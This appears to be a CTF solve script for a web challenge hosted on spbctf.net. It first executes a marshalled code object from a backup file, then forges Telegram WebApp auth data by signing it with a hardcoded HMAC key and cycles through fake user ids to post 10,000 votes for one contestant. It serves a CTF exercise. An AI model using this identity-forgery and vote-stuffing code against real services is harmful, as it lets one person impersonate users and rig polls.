import marshal
import types

c = open('fmzasde.bak', 'rb')
pc = c.read()
c.close()

co = marshal.loads(pc)
m = types.ModuleType('name')
exec(co, m.__dict__)

# Here we can see methods
print(m.__dict__)

print(m.generate_passwd())

import base64
import hashlib
import hmac
import json
import urllib.parse
from pathlib import Path
from dataclasses import dataclass, asdict

import requests

CONTESTANT_ID = "2384"
URL = "https://t-pageant-ekbooq0e.spbctf.net"
LOCALHOST = "http://localhost:63343/tinkoffCtf/web/miss_frod.html?_ijt=15d7vtc5mvmel9bkdhfjplqt9q&_ij_reload=RELOAD_ON_SAVE"
SECRET_KEY = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")


@dataclass
class User:
    id: int
    username: str
    first_name: str
    last_name: str
    language_code: str

    @staticmethod
    def from_string(data: str) -> "User":
        data = json.loads(data)
        return User(
            id=data["id"],
            username=data["username"],
            first_name=data["first_name"],
            last_name=data["last_name"],
            language_code=data["language_code"],
        )

    def serialize(self) -> dict:
        return asdict(self)


@dataclass
class InitData:
    user: User

    def data(self) -> dict:
        return {
            "user": json.dumps(self.user.serialize(), ensure_ascii=False),
        }

    @property
    def hash(self) -> str:
        data = self.data()
        keys = sorted(data.keys())
        check_string = '\n'.join([f'{key}={data[key]}' for key in keys])
        dig = hmac.new(SECRET_KEY, check_string.encode(), digestmod=hashlib.sha256)
        return dig.hexdigest()

    @staticmethod
    def read_from_file(file_path: Path | str) -> "InitData":
        file_path = Path(str(file_path))
        lines: list[str] = [line.strip() for line in file_path.read_text(encoding="utf-8").splitlines() if line.strip()]
        data = {line.split("=")[0]: line.split("=")[1] for line in lines}
        return InitData(
            user=User.from_string(data["user"]),
        )

    def save(self, out_path: Path | str) -> None:
        out_path = Path(str(out_path))
        out_path.write_text(json.dumps(self.data(), ensure_ascii=False, indent=2), encoding="utf-8")

    def serialize(self) -> dict:
        return {
            **self.data(),
            "user": urllib.parse.quote(json.dumps(self.user.serialize(), ensure_ascii=False)),
            "hash": self.hash,
        }

    def to_string(self) -> str:
        return json.dumps(self.serialize(), ensure_ascii=False)

    @property
    def tg_web_app_data(self) -> str:
        return '&'.join([f'{key}={value}' for key, value in self.serialize().items()])

    @property
    def auth_token(self) -> str:
        return base64.b64encode(('"' + self.tg_web_app_data + '"').encode()).decode()

    def web_app_url(self, base_url: str) -> str:
        return f"{base_url}#tgWebAppData={urllib.parse.quote(self.tg_web_app_data)}"

    def mutate(self, step: int = 1) -> None:
        self.user.id += step

    def vote_for_contestant(self, contestant_id: str) -> str:
        response = requests.post(
            f"{URL}/api/vote",
            headers={
                "Content-Type": "application/json",
                "Authorization": f"Bearer {self.auth_token}",
            },
            json={"contestant_id": contestant_id}
        )
        print(response.json())


def vote(contestant_id: str) -> None:
    telegram_user = InitData.read_from_file("data.txt")
    telegram_user.mutate(1000)
    for i in range(10000):
        telegram_user.mutate()
        telegram_user.vote_for_contestant(contestant_id)


def main():
    vote(CONTESTANT_ID)


if __name__ == '__main__':
    main()